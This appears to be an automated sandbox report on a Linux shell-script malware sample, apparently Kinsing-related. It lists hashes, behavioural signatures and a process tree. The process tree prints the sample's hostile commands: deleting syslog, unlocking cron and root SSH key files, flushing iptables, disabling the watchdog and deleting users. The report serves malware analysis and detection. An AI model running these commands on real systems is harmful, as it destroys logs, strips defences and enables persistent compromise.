Overview
overview
10Static
static
1script_mal...6c1.sh
ubuntu-18.04-amd64
9script_mal...6c1.sh
debian-9-armhf
9script_mal...6c1.sh
debian-9-mips
9script_mal...6c1.sh
debian-9-mipsel
9script_malware/1.sh
ubuntu-18.04-amd64
10script_malware/1.sh
debian-9-armhf
7script_malware/1.sh
debian-9-mips
7script_malware/1.sh
debian-9-mipsel
7script_mal...459.sh
ubuntu-18.04-amd64
7script_mal...459.sh
debian-9-armhf
7script_mal...459.sh
debian-9-mips
7script_mal...459.sh
debian-9-mipsel
7script_mal...ux.elf
ubuntu-22.04-amd64
3script_mal...da.elf
ubuntu-22.04-amd64
3script_malware/23.sh
ubuntu-18.04-amd64
3script_malware/23.sh
debian-9-armhf
3script_malware/23.sh
debian-9-mips
3script_malware/23.sh
debian-9-mipsel
3script_malware/404
ubuntu-18.04-amd64
script_malware/404
debian-9-armhf
script_malware/404
debian-9-mips
script_malware/404
debian-9-mipsel
script_mal...c5b.py
windows7-x64
3script_mal...c5b.py
windows10-2004-x64
3script_mal...006.sh
ubuntu-18.04-amd64
10script_mal...006.sh
debian-9-armhf
7script_mal...006.sh
debian-9-mips
7script_mal...006.sh
debian-9-mipsel
7script_mal...oPy.sh
ubuntu-18.04-amd64
7script_mal...oPy.sh
debian-9-armhf
7script_mal...oPy.sh
debian-9-mips
7script_mal...oPy.sh
debian-9-mipsel
7Analysis
-
max time kernel
129s -
max time network
125s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240418-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
06-12-2024 14:06
Static task
static1
Behavioral task
behavioral1
Sample
script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral5
Sample
script_malware/1.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral6
Sample
script_malware/1.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral7
Sample
script_malware/1.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral8
Sample
script_malware/1.sh
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral9
Sample
script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral10
Sample
script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral11
Sample
script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral12
Sample
script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral13
Sample
script_malware/164f8295_linux.elf
Resource
ubuntu2204-amd64-20240611-en
Behavioral task
behavioral14
Sample
script_malware/21162bbd796ad2bf9954265276bfebea8741596e8fe9d86070245d9b5f9db6da.elf
Resource
ubuntu2204-amd64-20240729-en
Behavioral task
behavioral15
Sample
script_malware/23.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral16
Sample
script_malware/23.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral17
Sample
script_malware/23.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral18
Sample
script_malware/23.sh
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral19
Sample
script_malware/404
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral20
Sample
script_malware/404
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral21
Sample
script_malware/404
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral22
Sample
script_malware/404
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral23
Sample
script_malware/864d7bcd96f8cf35b9e372b6508bc6ef1a704eaaa03c34bd79577b057aebec5b.py
Resource
win7-20240903-en
Behavioral task
behavioral24
Sample
script_malware/864d7bcd96f8cf35b9e372b6508bc6ef1a704eaaa03c34bd79577b057aebec5b.py
Resource
win10v2004-20241007-en
Behavioral task
behavioral25
Sample
script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral26
Sample
script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral27
Sample
script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral28
Sample
script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral29
Sample
script_malware/SnOoPy.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral30
Sample
script_malware/SnOoPy.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral31
Sample
script_malware/SnOoPy.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral32
Sample
script_malware/SnOoPy.sh
Resource
debian9-mipsel-20240418-en
General
-
Target
script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh
-
Size
35KB
-
MD5
2550990d2d52581b213e7c9305c392d3
-
SHA1
f7f069915c9b97550dc1fb6cf631f6222416dcf5
-
SHA256
8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006
-
SHA512
a30d4a39203e6a98937e8670b7b3caaa63d2141fdf404bb28ca240d95cb7420bdfb8c695db81cc9c799e8818266600c137b8b0df2dfc69d7566bae64eee2ad50
-
SSDEEP
768:X87XzQ5VFNcDAFLcIwgnoYq0xFB6ytguz:X3VF+D6cIwgos/z
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 6 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 3050 Process not Found 3052 Process not Found 3057 Process not Found 3058 Process not Found 3043 Process not Found 3045 Process not Found -
Executes dropped EXE 1 IoCs
ioc pid Process /etc/kinsing 3059 Process not Found -
Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 771 iptables -
Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs
Abuse sudo or cached sudo credentials to execute code.
pid Process 774 sudo -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 2655 Process not Found 2667 Process not Found 2176 Process not Found 2186 Process not Found 2267 Process not Found 2575 Process not Found 2623 Process not Found 1558 xargs 1989 xargs 2312 Process not Found 2019 xargs 2171 Process not Found 2348 Process not Found 2563 Process not Found 2589 Process not Found 1634 xargs 1718 xargs 1748 xargs 2625 Process not Found 2931 Process not Found 2665 Process not Found 1706 xargs 1745 xargs 2389 Process not Found 762 chattr 2585 Process not Found 2923 Process not Found 2029 xargs 2635 Process not Found 2577 Process not Found 1893 xargs 2083 xargs 2093 xargs 2543 Process not Found 2569 Process not Found 2947 Process not Found 1712 xargs 1863 xargs 1984 xargs 2641 Process not Found 2919 Process not Found 1843 xargs 2004 xargs 2480 Process not Found 2597 Process not Found 2675 Process not Found 1520 grep 1929 xargs 2549 Process not Found 2054 xargs 2108 xargs 2257 Process not Found 2607 Process not Found 2669 Process not Found 1742 xargs 1858 xargs 1939 xargs 3025 Process not Found 2959 Process not Found 1746 sed 1964 xargs 2039 xargs 2146 xargs 2913 Process not Found -
Creates/modifies Cron job 1 TTPs 63 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.VVJxNM Process not Found File opened for modification /var/spool/cron/crontabs/tmp.VOH4HY Process not Found File opened for modification /var/spool/cron/crontabs/tmp.0amxs2 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.LGfBba Process not Found File opened for modification /var/spool/cron/crontabs/tmp.aChvCd Process not Found File opened for modification /var/spool/cron/crontabs/tmp.bw9yxr Process not Found File opened for modification /var/spool/cron/crontabs/tmp.YSYrxs Process not Found File opened for modification /var/spool/cron/crontabs/tmp.VbKZsZ Process not Found File opened for modification /var/spool/cron/crontabs/tmp.igRMHx Process not Found File opened for modification /var/spool/cron/crontabs/tmp.ENhUzG crontab File opened for modification /var/spool/cron/crontabs/tmp.dEbv1v crontab File opened for modification /var/spool/cron/crontabs/tmp.wgNHo1 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.jeWfH6 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.pWdZrr Process not Found File opened for modification /var/spool/cron/crontabs/tmp.6rIpFY Process not Found File opened for modification /var/spool/cron/crontabs/tmp.xqzt2b Process not Found File opened for modification /var/spool/cron/crontabs/tmp.m1WpFN Process not Found File opened for modification /var/spool/cron/crontabs/tmp.BlVUzp crontab File opened for modification /var/spool/cron/crontabs/tmp.SXi5Id Process not Found File opened for modification /var/spool/cron/crontabs/tmp.2CIfEw Process not Found File opened for modification /var/spool/cron/crontabs/tmp.qQx7yk Process not Found File opened for modification /var/spool/cron/crontabs/tmp.NT07Qv Process not Found File opened for modification /var/spool/cron/crontabs/tmp.lIXfb5 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.AhZpdN Process not Found File opened for modification /var/spool/cron/crontabs/tmp.7Lzx8j Process not Found File opened for modification /var/spool/cron/crontabs/tmp.9mog0z Process not Found File opened for modification /var/spool/cron/crontabs/tmp.s9pkqC Process not Found File opened for modification /var/spool/cron/crontabs/tmp.pgT4jg Process not Found File opened for modification /var/spool/cron/crontabs/tmp.uA5nXh Process not Found File opened for modification /var/spool/cron/crontabs/tmp.BoDHNc Process not Found File opened for modification /var/spool/cron/crontabs/tmp.NYqlEY crontab File opened for modification /var/spool/cron/crontabs/tmp.5AnlGP Process not Found File opened for modification /var/spool/cron/crontabs/tmp.hF9HUK Process not Found File opened for modification /var/spool/cron/crontabs/tmp.4nrvYc Process not Found File opened for modification /var/spool/cron/crontabs/tmp.YbzCJd crontab File opened for modification /var/spool/cron/crontabs/tmp.bj0pCq Process not Found File opened for modification /var/spool/cron/crontabs/tmp.Ccvs6o Process not Found File opened for modification /var/spool/cron/crontabs/tmp.oQLxL9 crontab File opened for modification /var/spool/cron/crontabs/tmp.V8aJ86 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.AlKlbf Process not Found File opened for modification /var/spool/cron/crontabs/tmp.d6SKRQ Process not Found File opened for modification /var/spool/cron/crontabs/tmp.P3UWpI Process not Found File opened for modification /var/spool/cron/crontabs/tmp.me99E6 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.s2MXyD Process not Found File opened for modification /var/spool/cron/crontabs/tmp.U892dH Process not Found File opened for modification /var/spool/cron/crontabs/tmp.kBBaS9 Process not Found File opened for modification /var/spool/cron/crontabs/tmp.RBeg68 crontab File opened for modification /var/spool/cron/crontabs/tmp.N2P02B Process not Found File opened for modification /var/spool/cron/crontabs/tmp.pKYA9l Process not Found File opened for modification /var/spool/cron/crontabs/tmp.6ehRua Process not Found File opened for modification /var/spool/cron/crontabs/tmp.Og9RyW crontab File opened for modification /var/spool/cron/crontabs/tmp.Ee1bDk crontab File opened for modification /var/spool/cron/crontabs/tmp.nDJ96L Process not Found File opened for modification /var/spool/cron/crontabs/tmp.4cXQNb Process not Found File opened for modification /var/spool/cron/crontabs/tmp.UvYHYU Process not Found File opened for modification /var/spool/cron/crontabs/tmp.BdFQjf Process not Found File opened for modification /var/spool/cron/crontabs/tmp.YEwTNW Process not Found File opened for modification /var/spool/cron/crontabs/tmp.5X7FXJ crontab File opened for modification /var/spool/cron/crontabs/tmp.eU8lDk crontab File opened for modification /var/spool/cron/crontabs/tmp.IJF2BB Process not Found File opened for modification /var/spool/cron/crontabs/tmp.Y0ugwi Process not Found File opened for modification /var/spool/cron/crontabs/tmp.idiN2h Process not Found File opened for modification /var/spool/cron/crontabs/tmp.YuhTay crontab -
Disables AppArmor 16 IoCs
Disables AppArmor security module.
pid Process 3020 Process not Found 3012 Process not Found 3016 Process not Found 3018 Process not Found 3013 Process not Found 3013 Process not Found 3005 Process not Found 3005 Process not Found 3013 Process not Found 3005 Process not Found 3013 Process not Found 3013 Process not Found 3013 Process not Found 3005 Process not Found 3005 Process not Found 3005 Process not Found -
pid Process 3004 Process not Found -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online pkill -
Enumerates kernel/hardware configuration 1 TTPs 9 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found -
Process Discovery 1 TTPs 64 IoCs
Adversaries may try to discover information about running processes.
pid Process 1879 ps 2030 ps 2230 Process not Found 1884 ps 1925 ps 2099 ps 2060 ps 2378 Process not Found 2258 Process not Found 1910 ps 2000 ps 2055 ps 2303 Process not Found 2441 Process not Found 1995 ps 2010 ps 2273 Process not Found 1849 ps 2202 Process not Found 2408 Process not Found 1508 ps 1519 ps 1915 ps 1970 ps 2125 ps 2337 Process not Found 2293 Process not Found 2431 Process not Found 1930 ps 1960 ps 2104 ps 2152 Process not Found 2157 Process not Found 2298 Process not Found 1800 ps 2040 ps 2142 ps 2361 Process not Found 2147 Process not Found 2187 Process not Found 2192 Process not Found 1869 ps 1935 ps 2288 Process not Found 2402 Process not Found 1528 ps 1950 ps 2268 Process not Found 2197 Process not Found 2235 Process not Found 1523 ps 1859 ps 2050 ps 2115 ps 2130 ps 2372 Process not Found 2384 Process not Found 2446 Process not Found 1795 ps 1844 ps 1905 ps 2451 Process not Found 2084 ps 2325 Process not Found -
description ioc Process File opened for reading /proc/18/cmdline ps File opened for reading /proc/720/cmdline ps File opened for reading /proc/18/stat Process not Found File opened for reading /proc/tty/drivers Process not Found File opened for reading /proc/self/fd Process not Found File opened for reading /proc/filesystems Process not Found File opened for reading /proc/123/status Process not Found File opened for reading /proc/1/status pkill File opened for reading /proc/229/cmdline Process not Found File opened for reading /proc/9/cmdline Process not Found File opened for reading /proc/19/cmdline ps File opened for reading /proc/21/stat Process not Found File opened for reading /proc/332/status Process not Found File opened for reading /proc/759/cmdline Process not Found File opened for reading /proc/13/cmdline ps File opened for reading /proc/332/cmdline Process not Found File opened for reading /proc/75/status Process not Found File opened for reading /proc/sys/kernel/osrelease Process not Found File opened for reading /proc/24/cmdline Process not Found File opened for reading /proc/359/stat Process not Found File opened for reading /proc/21/cmdline Process not Found File opened for reading /proc/16/cmdline ps File opened for reading /proc/705/status ps File opened for reading /proc/327/cmdline Process not Found File opened for reading /proc/698/cmdline Process not Found File opened for reading /proc/698/status Process not Found File opened for reading /proc/36/status pkill File opened for reading /proc/705/status Process not Found File opened for reading /proc/359/stat Process not Found File opened for reading /proc/15/status pkill File opened for reading /proc/757/cmdline ps File opened for reading /proc/327/stat Process not Found File opened for reading /proc/766/status Process not Found File opened for reading /proc/11/status Process not Found File opened for reading /proc/698/cmdline Process not Found File opened for reading /proc/705/cmdline ps File opened for reading /proc/756/cmdline pkill File opened for reading /proc/756/cmdline Process not Found File opened for reading /proc/3/status pkill File opened for reading /proc/701/status pkill File opened for reading /proc/77/cmdline ps File opened for reading /proc/71/status Process not Found File opened for reading /proc/76/cmdline ps File opened for reading /proc/156/stat ps File opened for reading /proc/109/cmdline ps File opened for reading /proc/109/status Process not Found File opened for reading /proc/22/cmdline Process not Found File opened for reading /proc/330/stat Process not Found File opened for reading /proc/2480/cmdline Process not Found File opened for reading /proc/766/status Process not Found File opened for reading /proc/19/cmdline pkill File opened for reading /proc/sys/kernel/osrelease Process not Found File opened for reading /proc/7/cmdline Process not Found File opened for reading /proc/671/status Process not Found File opened for reading /proc/7/cmdline pkill File opened for reading /proc/332/status Process not Found File opened for reading /proc/tty/drivers Process not Found File opened for reading /proc/156/stat Process not Found File opened for reading /proc/5/cmdline Process not Found File opened for reading /proc/21/stat Process not Found File opened for reading /proc/16/cmdline Process not Found File opened for reading /proc/757/status Process not Found File opened for reading /proc/17/cmdline ps File opened for reading /proc/79/cmdline Process not Found -
System Network Configuration Discovery 1 TTPs 7 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 759 8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh 1458 ls 2042 grep 2072 grep 2285 Process not Found 2822 Process not Found 3148 Process not Found -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/log_rot 8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh
Processes
-
/tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh/tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh1⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:759 -
/bin/rmrm -rf /var/log/syslog2⤵PID:761
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵
- Attempts to change immutable files
PID:762
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:763
-
-
/usr/bin/chattrchattr -R -i /var/spool/cron2⤵PID:765
-
-
/usr/bin/chattrchattr -i /etc/crontab2⤵PID:767
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:771
-
-
/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
PID:774 -
/usr/sbin/sendmailsendmail -t3⤵PID:778
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1tJY2S-0000CY-CA4⤵PID:786
-
-
-
/usr/sbin/sendmailsendmail -t3⤵PID:781
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1tJY2S-0000Cb-AR4⤵PID:785
-
-
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"3⤵PID:782
-
-
-
/usr/sbin/userdeluserdel akay2⤵PID:783
-
-
/usr/sbin/userdeluserdel vfinder2⤵PID:784
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵PID:787
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵PID:788
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:789
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:790
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:791
-
-
/bin/grepgrep exe2⤵PID:794
-
-
/bin/lsls -latrh /proc/12⤵PID:793
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:796
-
-
/bin/grepgrep exe2⤵PID:799
-
-
/bin/lsls -latrh /proc/102⤵PID:798
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:803
-
-
/bin/grepgrep exe2⤵PID:806
-
-
/bin/lsls -latrh /proc/1092⤵PID:805
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:808
-
-
/bin/grepgrep exe2⤵PID:811
-
-
/bin/lsls -latrh /proc/112⤵PID:810
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:813
-
-
/bin/grepgrep exe2⤵PID:816
-
-
/bin/lsls -latrh /proc/122⤵PID:815
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:818
-
-
/bin/grepgrep exe2⤵PID:821
-
-
/bin/lsls -latrh /proc/1232⤵PID:820
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:823
-
-
/bin/grepgrep exe2⤵PID:826
-
-
/bin/lsls -latrh /proc/1242⤵PID:825
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:828
-
-
/bin/grepgrep exe2⤵PID:831
-
-
/bin/lsls -latrh /proc/132⤵PID:830
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:833
-
-
/bin/grepgrep exe2⤵PID:836
-
-
/bin/lsls -latrh /proc/142⤵PID:835
-
-
